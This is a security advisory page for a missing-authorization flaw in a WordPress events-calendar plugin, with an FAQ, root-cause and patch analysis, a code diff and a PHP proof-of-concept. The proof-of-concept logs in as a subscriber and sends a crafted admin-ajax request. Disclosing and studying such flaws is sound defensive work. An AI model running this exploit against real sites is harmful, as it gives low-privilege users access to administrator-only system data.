What is CVE-2025-69352?

CVE-2025-69352 is a medium severity vulnerability in the The Events Calendar plugin for WordPress. It arises from a missing authorization check in the ajax_sysinfo_optin() function, allowing authenticated users with Subscriber-level access or higher to perform unauthorized actions.

Who is affected by this vulnerability?

Any WordPress site using The Events Calendar plugin version 6.15.12.2 or earlier is affected. This includes sites where authenticated users have Subscriber-level access or higher, as they can exploit the vulnerability.

How can I check if my site is vulnerable?

To check if your site is vulnerable, verify the version of The Events Calendar plugin installed. If it is version 6.15.12.2 or earlier, your site is at risk. Additionally, review your user roles to identify any users with Subscriber-level access or higher.

How can I fix this vulnerability?

To fix CVE-2025-69352, update The Events Calendar plugin to version 6.15.13 or later, where the vulnerability has been patched. Regularly check for plugin updates to ensure all security vulnerabilities are addressed promptly.

What does the CVSS score of 4.3 mean?

A CVSS score of 4.3 indicates a medium severity vulnerability. This suggests that while the vulnerability is not critical, it poses a significant risk that could lead to unauthorized access and potential data exposure if exploited.

What is a nonce and why is it important?

A nonce is a security token used in WordPress to verify that a request to perform an action comes from a legitimate source. It helps prevent CSRF attacks by ensuring that the user has the right to perform the action, but in this case, the lack of capability checks undermines its effectiveness.

What is the root cause of this vulnerability?

The root cause of CVE-2025-69352 is the missing capability check in the ajax_sysinfo_optin() function. Although the function verifies a nonce, it does not check if the user has the necessary permissions, allowing unauthorized actions to be performed by users with lower privileges.

What is the impact of successful exploitation?

Successful exploitation of this vulnerability allows authenticated attackers to access sensitive system configuration data. This could lead to exposure of server details, plugin settings, or other information that should be restricted to administrators, increasing the risk of further attacks.

How does the proof of concept demonstrate the issue?

The proof of concept illustrates how an attacker can authenticate using valid WordPress credentials, then send a crafted POST request to exploit the vulnerability. It shows the steps to obtain a nonce and trigger the unauthorized action, highlighting the ease of exploitation for users with minimal privileges.

What should I do if I cannot update the plugin immediately?

If you cannot update the plugin immediately, consider temporarily disabling the plugin or restricting access to the WordPress admin area. Additionally, review user roles and permissions to limit access for users who do not need elevated privileges.

Where can I find more information about this vulnerability?

More information about CVE-2025-69352 can be found on the National Vulnerability Database (NVD) or the official WordPress security blog. These resources provide detailed descriptions, impact assessments, and recommendations for mitigation.

Atomic Edge Proof of Concept automated generator using AI diff analysis

Published : March 18, 2026

CVE-2025-69352: The Events Calendar <= 6.15.12.2 – Missing Authorization (the-events-calendar)

Q: How does the vulnerability work?

The vulnerability allows authenticated attackers to send a POST request to the WordPress admin AJAX endpoint with the action parameter set to tribe_sysinfo_optin. The request must include a valid nonce, enabling unauthorized users to trigger sensitive system information actions without proper permissions.

CVE ID CVE-2025-69352

Plugin the-events-calendar

Severity Medium (CVSS 4.3)

CWE 862

Vulnerable Version 6.15.12.2

Patched Version 6.15.13

Disclosed January 8, 2026

Analysis Overview

Atomic Edge analysis of CVE-2025-69352:
The Events Calendar WordPress plugin contains a missing authorization vulnerability in versions up to and including 6.15.12.2. This flaw allows authenticated attackers with Subscriber-level permissions or higher to perform unauthorized administrative actions. The vulnerability has a CVSS score of 4.3 (Medium severity).

Root Cause:
The vulnerability exists in the `ajax_sysinfo_optin()` function within the `TribeSupport` class. The function, located in `/the-events-calendar/common/src/Tribe/Support.php` at line 390, performs a nonce verification but lacks a capability check. The original code only validates the presence of a `confirm` POST parameter and verifies the nonce using `wp_verify_nonce()`. It does not verify if the user has the required administrative privileges to execute the sensitive system information opt-in action.

Exploitation:
An attacker with a valid WordPress account (Subscriber role or higher) can send a POST request to the WordPress admin AJAX endpoint (`/wp-admin/admin-ajax.php`) with the action parameter set to `tribe_sysinfo_optin`. The request must include a valid nonce obtained from any page where the plugin’s support functionality is present. The payload requires a `confirm` parameter containing the nonce value. This allows unauthorized users to trigger the system information opt-in process.

Patch Analysis:
The patch adds a capability check to the existing authorization logic. In the patched version at line 390 of `/the-events-calendar/common/src/Tribe/Support.php`, the condition now includes `|| ! current_user_can( ‘manage_options’ )`. This addition ensures that only users with the `manage_options` capability (typically Administrators) can execute the `ajax_sysinfo_optin()` function. The patch maintains the existing nonce verification while adding the missing authorization layer.

Impact:
Successful exploitation allows authenticated attackers with minimal privileges to trigger the system information opt-in functionality. This could lead to unauthorized access to sensitive system configuration data, potentially exposing server details, plugin configurations, or other diagnostic information that should be restricted to administrators. The vulnerability represents a classic missing authorization (CWE-862) issue where proper capability checks were omitted from an administrative AJAX handler.

Differential between vulnerable and patched code

Code Diff

--- a/the-events-calendar/common/src/Tribe/Main.php
+++ b/the-events-calendar/common/src/Tribe/Main.php
@@ -24,7 +24,7 @@
 	const OPTIONNAME        = 'tribe_events_calendar_options';
 	const OPTIONNAMENETWORK = 'tribe_events_calendar_network_options';
 	const FEED_URL          = 'https://theeventscalendar.com/feed/';
-	const VERSION           = '6.10.0';
+	const VERSION           = '6.10.1';

 	protected $plugin_context;
 	protected $plugin_context_class;
@@ -640,7 +640,29 @@

 		// Load textdomain from a custom folder or the plugin's language folder.
 		if ( file_exists( $file ) ) {
-			return load_plugin_textdomain( $domain, false, $plugin_rel_path );
+			/**
+			 * Starting from WordPress 6.7.1, the `load_plugin_textdomain` will reset the `$l10n` global variable.
+			 * WorPress 6.7.0 will not, though. Here we reset that var for back-compatibility with WordPress 6.7.0.
+			 */
+			if ( isset( $GLOBALS['l10n'][ $domain ] ) && $GLOBALS['l10n'][ $domain ] instanceof NOOP_Translations ) {
+				unset( $GLOBALS['l10n'][ $domain ] );
+			}
+
+			$loaded = load_plugin_textdomain( $domain, false, $plugin_rel_path );
+
+			/**
+			 * If an earlier call to get a translation for a string in this domain was fired (e.g., a call to `__()`),
+			 * then the text domain registry has cached a falsy value for this domain and locale to indicate no
+			 * translation file is available. Here we overwrite the value if it had been set, or set it if it had not.
+			 *
+			 * The `load_plugin_textdomain()` function will add the custom path to the registry, but will not invalidate
+			 * a previously set value.
+			 */
+			/** @var WP_Textdomain_Registry $wp_textdomain_registry */
+			global $wp_textdomain_registry;
+			$wp_textdomain_registry->set( $domain, $locale, dirname( $file ) );
+
+			return $loaded;
 		}

 		// If translation files are not found in the custom folder, then load textdomain from the plugin's language folder.
--- a/the-events-calendar/common/src/Tribe/Support.php
+++ b/the-events-calendar/common/src/Tribe/Support.php
@@ -390,7 +390,7 @@
 		 */
 		public static function ajax_sysinfo_optin() {

-			if ( ! isset( $_POST['confirm'] ) || ! wp_verify_nonce( $_POST['confirm'], 'sysinfo_optin_nonce' ) ) {
+			if ( ! isset( $_POST['confirm'] ) || ! wp_verify_nonce( $_POST['confirm'], 'sysinfo_optin_nonce' ) || ! current_user_can( 'manage_options' ) ) {
 				wp_send_json_error( __( 'Permission Error', 'tribe-common' ) );
 			}

--- a/the-events-calendar/common/vendor/composer/autoload_static.php
+++ b/the-events-calendar/common/vendor/composer/autoload_static.php
@@ -7,7 +7,7 @@
 class ComposerStaticInit1730544c896394ef2203f2d3c727e3d7
 {
     public static $prefixLengthsPsr4 = array (
-        'T' =>
+        'T' =>
         array (
             'Tribe\' => 6,
             'TEC\Event_Automator\' => 20,
@@ -38,126 +38,126 @@
             'TEC\Common\Firebase\JWT\' => 24,
             'TEC\Common\' => 11,
         ),
-        'S' =>
+        'S' =>
         array (
             'ScssPhp\ScssPhp\' => 16,
         ),
     );

     public static $prefixDirsPsr4 = array (
-        'Tribe\' =>
+        'Tribe\' =>
         array (
             0 => __DIR__ . '/../..' . '/src/Tribe',
         ),
-        'TEC\Event_Automator\' =>
+        'TEC\Event_Automator\' =>
         array (
             0 => __DIR__ . '/../..' . '/src/Common/Event_Automator',
         ),
-        'TEC\Common\lucatume\DI52\' =>
+        'TEC\Common\lucatume\DI52\' =>
         array (
             0 => __DIR__ . '/..' . '/lucatume/di52/src',
         ),
-        'TEC\Common\TrustedLogin\' =>
+        'TEC\Common\TrustedLogin\' =>
         array (
             0 => __DIR__ . '/..' . '/trustedlogin/client/src',
         ),
-        'TEC\Common\StellarWP\Uplink\Views\' =>
+        'TEC\Common\StellarWP\Uplink\Views\' =>
         array (
             0 => __DIR__ . '/..' . '/stellarwp/uplink/src/views',
         ),
-        'TEC\Common\StellarWP\Uplink\Assets_Dir\' =>
+        'TEC\Common\StellarWP\Uplink\Assets_Dir\' =>
         array (
             0 => __DIR__ . '/..' . '/stellarwp/uplink/src/assets',
         ),
-        'TEC\Common\StellarWP\Uplink\Admin_Views\' =>
+        'TEC\Common\StellarWP\Uplink\Admin_Views\' =>
         array (
             0 => __DIR__ . '/..' . '/stellarwp/uplink/src/admin-views',
         ),
-        'TEC\Common\StellarWP\Uplink\' =>
+        'TEC\Common\StellarWP\Uplink\' =>
         array (
             0 => __DIR__ . '/..' . '/stellarwp/uplink/src/Uplink',
         ),
-        'TEC\Common\StellarWP\Telemetry\Views_Dir\' =>
+        'TEC\Common\StellarWP\Telemetry\Views_Dir\' =>
         array (
             0 => __DIR__ . '/..' . '/stellarwp/telemetry/src/views',
         ),
-        'TEC\Common\StellarWP\Telemetry\Assets_Dir\' =>
+        'TEC\Common\StellarWP\Telemetry\Assets_Dir\' =>
         array (
             0 => __DIR__ . '/..' . '/stellarwp/telemetry/src/resources',
         ),
-        'TEC\Common\StellarWP\Telemetry\' =>
+        'TEC\Common\StellarWP\Telemetry\' =>
         array (
             0 => __DIR__ . '/..' . '/stellarwp/telemetry/src/Telemetry',
         ),
-        'TEC\Common\StellarWP\Shepherd\' =>
+        'TEC\Common\StellarWP\Shepherd\' =>
         array (
             0 => __DIR__ . '/..' . '/stellarwp/shepherd/src',
         ),
-        'TEC\Common\StellarWP\Schema\' =>
+        'TEC\Common\StellarWP\Schema\' =>
         array (
             0 => __DIR__ . '/..' . '/stellarwp/schema/src/Schema',
         ),
-        'TEC\Common\StellarWP\SchemaModels\' =>
+        'TEC\Common\StellarWP\SchemaModels\' =>
         array (
             0 => __DIR__ . '/..' . '/stellarwp/schema-models/src',
         ),
-        'TEC\Common\StellarWP\Models\' =>
+        'TEC\Common\StellarWP\Models\' =>
         array (
             0 => __DIR__ . '/..' . '/stellarwp/models/src/Models',
         ),
-        'TEC\Common\StellarWP\Installer\Assets_JS\' =>
+        'TEC\Common\StellarWP\Installer\Assets_JS\' =>
         array (
             0 => __DIR__ . '/..' . '/stellarwp/installer/src/assets/js',
         ),
-        'TEC\Common\StellarWP\Installer\Admin_Views\' =>
+        'TEC\Common\StellarWP\Installer\Admin_Views\' =>
         array (
             0 => __DIR__ . '/..' . '/stellarwp/installer/src/admin-views',
         ),
-        'TEC\Common\StellarWP\Installer\' =>
+        'TEC\Common\StellarWP\Installer\' =>
         array (
             0 => __DIR__ . '/..' . '/stellarwp/installer/src/Installer',
         ),
-        'TEC\Common\StellarWP\DB\' =>
+        'TEC\Common\StellarWP\DB\' =>
         array (
             0 => __DIR__ . '/..' . '/stellarwp/db/src/DB',
         ),
-        'TEC\Common\StellarWP\ContainerContract\' =>
+        'TEC\Common\StellarWP\ContainerContract\' =>
         array (
             0 => __DIR__ . '/..' . '/stellarwp/container-contract/src',
         ),
-        'TEC\Common\StellarWP\Assets\' =>
+        'TEC\Common\StellarWP\Assets\' =>
         array (
             0 => __DIR__ . '/..' . '/stellarwp/assets/src/Assets',
         ),
-        'TEC\Common\StellarWP\Arrays\' =>
+        'TEC\Common\StellarWP\Arrays\' =>
         array (
             0 => __DIR__ . '/..' . '/stellarwp/arrays/src/Arrays',
         ),
-        'TEC\Common\StellarWP\AdminNotices\' =>
+        'TEC\Common\StellarWP\AdminNotices\' =>
         array (
             0 => __DIR__ . '/..' . '/stellarwp/admin-notices/src',
         ),
-        'TEC\Common\Psr\Log\' =>
+        'TEC\Common\Psr\Log\' =>
         array (
             0 => __DIR__ . '/..' . '/psr/log/Psr/Log',
         ),
-        'TEC\Common\Psr\Container\' =>
+        'TEC\Common\Psr\Container\' =>
         array (
             0 => __DIR__ . '/..' . '/psr/container/src',
         ),
-        'TEC\Common\Monolog\' =>
+        'TEC\Common\Monolog\' =>
         array (
             0 => __DIR__ . '/..' . '/monolog/monolog/src/Monolog',
         ),
-        'TEC\Common\Firebase\JWT\' =>
+        'TEC\Common\Firebase\JWT\' =>
         array (
             0 => __DIR__ . '/..' . '/firebase/php-jwt/src',
         ),
-        'TEC\Common\' =>
+        'TEC\Common\' =>
         array (
             0 => __DIR__ . '/../..' . '/src/Common',
         ),
-        'ScssPhp\ScssPhp\' =>
+        'ScssPhp\ScssPhp\' =>
         array (
             0 => __DIR__ . '/..' . '/scssphp/scssphp/src',
         ),
--- a/the-events-calendar/common/vendor/composer/installed.php
+++ b/the-events-calendar/common/vendor/composer/installed.php
@@ -1,9 +1,9 @@
 <?php return array(
     'root' => array(
         'name' => 'the-events-calendar/tribe-common',
-        'pretty_version' => '6.10.0',
-        'version' => '6.10.0.0',
-        'reference' => 'f0a661d78829786a693f3f7f6802b9ca20050264',
+        'pretty_version' => 'dev-main',
+        'version' => 'dev-main',
+        'reference' => 'c5ea6a12038a4a18ae5303acf50a4eee9d4ec57f',
         'type' => 'wordpress-plugin',
         'install_path' => __DIR__ . '/../../',
         'aliases' => array(),
@@ -179,9 +179,9 @@
             'dev_requirement' => false,
         ),
         'the-events-calendar/tribe-common' => array(
-            'pretty_version' => '6.10.0',
-            'version' => '6.10.0.0',
-            'reference' => 'f0a661d78829786a693f3f7f6802b9ca20050264',
+            'pretty_version' => 'dev-main',
+            'version' => 'dev-main',
+            'reference' => 'c5ea6a12038a4a18ae5303acf50a4eee9d4ec57f',
             'type' => 'wordpress-plugin',
             'install_path' => __DIR__ . '/../../',
             'aliases' => array(),
--- a/the-events-calendar/common/vendor/vendor-prefixed/autoload.php
+++ b/the-events-calendar/common/vendor/vendor-prefixed/autoload.php
@@ -19,4 +19,4 @@

 require_once __DIR__ . '/composer/autoload_real.php';

-return ComposerAutoloaderInita04a5f17980117a8db724fd4a3e52d85::getLoader();
+return ComposerAutoloaderInit182048db4f5b3b0e43a83bbb09dfeac1::getLoader();
--- a/the-events-calendar/common/vendor/vendor-prefixed/composer/autoload_real.php
+++ b/the-events-calendar/common/vendor/vendor-prefixed/composer/autoload_real.php
@@ -2,7 +2,7 @@

 // autoload_real.php @generated by Composer

-class ComposerAutoloaderInita04a5f17980117a8db724fd4a3e52d85
+class ComposerAutoloaderInit182048db4f5b3b0e43a83bbb09dfeac1
 {
     private static $loader;

@@ -24,12 +24,12 @@

         require __DIR__ . '/platform_check.php';

-        spl_autoload_register(array('ComposerAutoloaderInita04a5f17980117a8db724fd4a3e52d85', 'loadClassLoader'), true, true);
+        spl_autoload_register(array('ComposerAutoloaderInit182048db4f5b3b0e43a83bbb09dfeac1', 'loadClassLoader'), true, true);
         self::$loader = $loader = new TECCommonComposerAutoloadClassLoader(dirname(__DIR__));
-        spl_autoload_unregister(array('ComposerAutoloaderInita04a5f17980117a8db724fd4a3e52d85', 'loadClassLoader'));
+        spl_autoload_unregister(array('ComposerAutoloaderInit182048db4f5b3b0e43a83bbb09dfeac1', 'loadClassLoader'));

         require __DIR__ . '/autoload_static.php';
-        call_user_func(TECCommonComposerAutoloadComposerStaticInita04a5f17980117a8db724fd4a3e52d85::getInitializer($loader));
+        call_user_func(TECCommonComposerAutoloadComposerStaticInit182048db4f5b3b0e43a83bbb09dfeac1::getInitializer($loader));

         $loader->setClassMapAuthoritative(true);
         $loader->register(true);
--- a/the-events-calendar/common/vendor/vendor-prefixed/composer/autoload_static.php
+++ b/the-events-calendar/common/vendor/vendor-prefixed/composer/autoload_static.php
@@ -4,7 +4,7 @@

 namespace TECCommonComposerAutoload;

-class ComposerStaticInita04a5f17980117a8db724fd4a3e52d85
+class ComposerStaticInit182048db4f5b3b0e43a83bbb09dfeac1
 {
     public static $prefixLengthsPsr4 = array (
         'T' =>
@@ -584,9 +584,9 @@
     public static function getInitializer(ClassLoader $loader)
     {
         return Closure::bind(function () use ($loader) {
-            $loader->prefixLengthsPsr4 = ComposerStaticInita04a5f17980117a8db724fd4a3e52d85::$prefixLengthsPsr4;
-            $loader->prefixDirsPsr4 = ComposerStaticInita04a5f17980117a8db724fd4a3e52d85::$prefixDirsPsr4;
-            $loader->classMap = ComposerStaticInita04a5f17980117a8db724fd4a3e52d85::$classMap;
+            $loader->prefixLengthsPsr4 = ComposerStaticInit182048db4f5b3b0e43a83bbb09dfeac1::$prefixLengthsPsr4;
+            $loader->prefixDirsPsr4 = ComposerStaticInit182048db4f5b3b0e43a83bbb09dfeac1::$prefixDirsPsr4;
+            $loader->classMap = ComposerStaticInit182048db4f5b3b0e43a83bbb09dfeac1::$classMap;

         }, null, ClassLoader::class);
     }
--- a/the-events-calendar/common/vendor/vendor-prefixed/composer/installed.php
+++ b/the-events-calendar/common/vendor/vendor-prefixed/composer/installed.php
@@ -2,9 +2,9 @@
   'root' =>
   array (
     'name' => 'the-events-calendar/tribe-common',
-    'pretty_version' => '6.10.0',
-    'version' => '6.10.0.0',
-    'reference' => 'f0a661d78829786a693f3f7f6802b9ca20050264',
+    'pretty_version' => 'dev-main',
+    'version' => 'dev-main',
+    'reference' => 'c5ea6a12038a4a18ae5303acf50a4eee9d4ec57f',
     'type' => 'wordpress-plugin',
     'install_path' => __DIR__ . '/../',
     'aliases' =>
--- a/the-events-calendar/src/Tribe/Main.php
+++ b/the-events-calendar/src/Tribe/Main.php
@@ -40,7 +40,7 @@
 		const POSTTYPE            = 'tribe_events';
 		const VENUE_POST_TYPE     = 'tribe_venue';
 		const ORGANIZER_POST_TYPE = 'tribe_organizer';
-		const VERSION             = '6.15.12.2';
+		const VERSION             = '6.15.13';

 		/**
 		 * Min Pro Addon.
--- a/the-events-calendar/the-events-calendar.php
+++ b/the-events-calendar/the-events-calendar.php
@@ -2,7 +2,7 @@
 /**
  * Plugin Name: The Events Calendar
  * Description: The Events Calendar is a carefully crafted, extensible plugin that lets you easily share your events. Beautiful. Solid. Awesome.
- * Version: 6.15.12.2
+ * Version: 6.15.13
  * Requires at least: 6.6
  * Requires PHP: 7.4
  * Author: The Events Calendar
--- a/the-events-calendar/vendor/composer/autoload_static.php
+++ b/the-events-calendar/vendor/composer/autoload_static.php
@@ -7,7 +7,7 @@
 class ComposerStaticInit77859a16ec599404820631ac421b3057
 {
     public static $prefixLengthsPsr4 = array (
-        'T' =>
+        'T' =>
         array (
             'Tribe\Events\' => 13,
             'TEC\Events\' => 11,
@@ -15,11 +15,11 @@
     );

     public static $prefixDirsPsr4 = array (
-        'Tribe\Events\' =>
+        'Tribe\Events\' =>
         array (
             0 => __DIR__ . '/../..' . '/src/Tribe',
         ),
-        'TEC\Events\' =>
+        'TEC\Events\' =>
         array (
             0 => __DIR__ . '/../..' . '/src/Events',
         ),
--- a/the-events-calendar/vendor/composer/installed.php
+++ b/the-events-calendar/vendor/composer/installed.php
@@ -1,9 +1,9 @@
 <?php return array(
     'root' => array(
         'name' => 'the-events-calendar/the-events-calendar',
-        'pretty_version' => 'dev-release/T25.moonknight.2',
-        'version' => 'dev-release/T25.moonknight.2',
-        'reference' => '6939590d50e69e9ebc00897c5f1d2ec2fc082db5',
+        'pretty_version' => 'dev-release/T25.obsidian',
+        'version' => 'dev-release/T25.obsidian',
+        'reference' => 'a422900d8a00e33923b13ab861fa02476ba250b7',
         'type' => 'wordpress-plugin',
         'install_path' => __DIR__ . '/../../',
         'aliases' => array(),
@@ -11,9 +11,9 @@
     ),
     'versions' => array(
         'the-events-calendar/the-events-calendar' => array(
-            'pretty_version' => 'dev-release/T25.moonknight.2',
-            'version' => 'dev-release/T25.moonknight.2',
-            'reference' => '6939590d50e69e9ebc00897c5f1d2ec2fc082db5',
+            'pretty_version' => 'dev-release/T25.obsidian',
+            'version' => 'dev-release/T25.obsidian',
+            'reference' => 'a422900d8a00e33923b13ab861fa02476ba250b7',
             'type' => 'wordpress-plugin',
             'install_path' => __DIR__ . '/../../',
             'aliases' => array(),

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

PHP PoC

// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2025-69352 - The Events Calendar <= 6.15.12.2 - Missing Authorization

<?php
/**
 * Proof of Concept for CVE-2025-69352
 * Requires: Valid WordPress subscriber (or higher) credentials
 * Target: WordPress site with vulnerable The Events Calendar plugin
 */

$target_url = 'https://vulnerable-site.com';
$username = 'subscriber_user';
$password = 'subscriber_pass';

// Step 1: Authenticate to WordPress and obtain session cookies
$login_url = $target_url . '/wp-login.php';
$login_data = array(
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Log In',
    'redirect_to' => $target_url . '/wp-admin/',
    'testcookie' => '1'
);

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($login_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
$response = curl_exec($ch);

// Step 2: Visit admin page to obtain nonce from plugin
// The nonce is typically available on plugin settings or support pages
$admin_url = $target_url . '/wp-admin/edit.php?post_type=tribe_events&page=tribe-help';
curl_setopt($ch, CURLOPT_URL, $admin_url);
curl_setopt($ch, CURLOPT_POST, false);
$response = curl_exec($ch);

// Extract nonce from page (simplified - actual implementation would parse HTML)
// Nonce is typically in a form or JavaScript variable like 'sysinfo_optin_nonce'
// For this PoC, we assume the attacker has obtained a valid nonce
$nonce = 'EXTRACTED_NONCE_VALUE';

// Step 3: Exploit the missing authorization vulnerability
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';
$exploit_data = array(
    'action' => 'tribe_sysinfo_optin',
    'confirm' => $nonce
);

curl_setopt($ch, CURLOPT_URL, $ajax_url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($exploit_data));
$response = curl_exec($ch);

// Check response
if (strpos($response, 'Permission Error') === false && strpos($response, 'error') === false) {
    echo "[+] Vulnerability likely exploited successfullyn";
    echo "Response: " . $response . "n";
} else {
    echo "[-] Exploit failed or site is patchedn";
    echo "Response: " . $response . "n";
}

curl_close($ch);
?>

Frequently Asked Questions

What is CVE-2025-69352?
Overview of the vulnerability
CVE-2025-69352 is a medium severity vulnerability in the The Events Calendar plugin for WordPress. It arises from a missing authorization check in the ajax_sysinfo_optin() function, allowing authenticated users with Subscriber-level access or higher to perform unauthorized actions.
How does the vulnerability work?
Mechanism of exploitation
The vulnerability allows authenticated attackers to send a POST request to the WordPress admin AJAX endpoint with the action parameter set to tribe_sysinfo_optin. The request must include a valid nonce, enabling unauthorized users to trigger sensitive system information actions without proper permissions.
Who is affected by this vulnerability?
Identifying vulnerable users
Any WordPress site using The Events Calendar plugin version 6.15.12.2 or earlier is affected. This includes sites where authenticated users have Subscriber-level access or higher, as they can exploit the vulnerability.
How can I check if my site is vulnerable?
Steps to verify vulnerability
To check if your site is vulnerable, verify the version of The Events Calendar plugin installed. If it is version 6.15.12.2 or earlier, your site is at risk. Additionally, review your user roles to identify any users with Subscriber-level access or higher.
How can I fix this vulnerability?
Recommended actions
To fix CVE-2025-69352, update The Events Calendar plugin to version 6.15.13 or later, where the vulnerability has been patched. Regularly check for plugin updates to ensure all security vulnerabilities are addressed promptly.
What does the CVSS score of 4.3 mean?
Understanding risk levels
A CVSS score of 4.3 indicates a medium severity vulnerability. This suggests that while the vulnerability is not critical, it poses a significant risk that could lead to unauthorized access and potential data exposure if exploited.
What is a nonce and why is it important?
Role of nonce in WordPress security
A nonce is a security token used in WordPress to verify that a request to perform an action comes from a legitimate source. It helps prevent CSRF attacks by ensuring that the user has the right to perform the action, but in this case, the lack of capability checks undermines its effectiveness.
What is the root cause of this vulnerability?
Technical details
The root cause of CVE-2025-69352 is the missing capability check in the ajax_sysinfo_optin() function. Although the function verifies a nonce, it does not check if the user has the necessary permissions, allowing unauthorized actions to be performed by users with lower privileges.
What is the impact of successful exploitation?
Consequences of the vulnerability
Successful exploitation of this vulnerability allows authenticated attackers to access sensitive system configuration data. This could lead to exposure of server details, plugin settings, or other information that should be restricted to administrators, increasing the risk of further attacks.
How does the proof of concept demonstrate the issue?
Understanding the exploit
The proof of concept illustrates how an attacker can authenticate using valid WordPress credentials, then send a crafted POST request to exploit the vulnerability. It shows the steps to obtain a nonce and trigger the unauthorized action, highlighting the ease of exploitation for users with minimal privileges.
What should I do if I cannot update the plugin immediately?
Mitigation strategies
If you cannot update the plugin immediately, consider temporarily disabling the plugin or restricting access to the WordPress admin area. Additionally, review user roles and permissions to limit access for users who do not need elevated privileges.
Where can I find more information about this vulnerability?
Further resources
More information about CVE-2025-69352 can be found on the National Vulnerability Database (NVD) or the official WordPress security blog. These resources provide detailed descriptions, impact assessments, and recommendations for mitigation.

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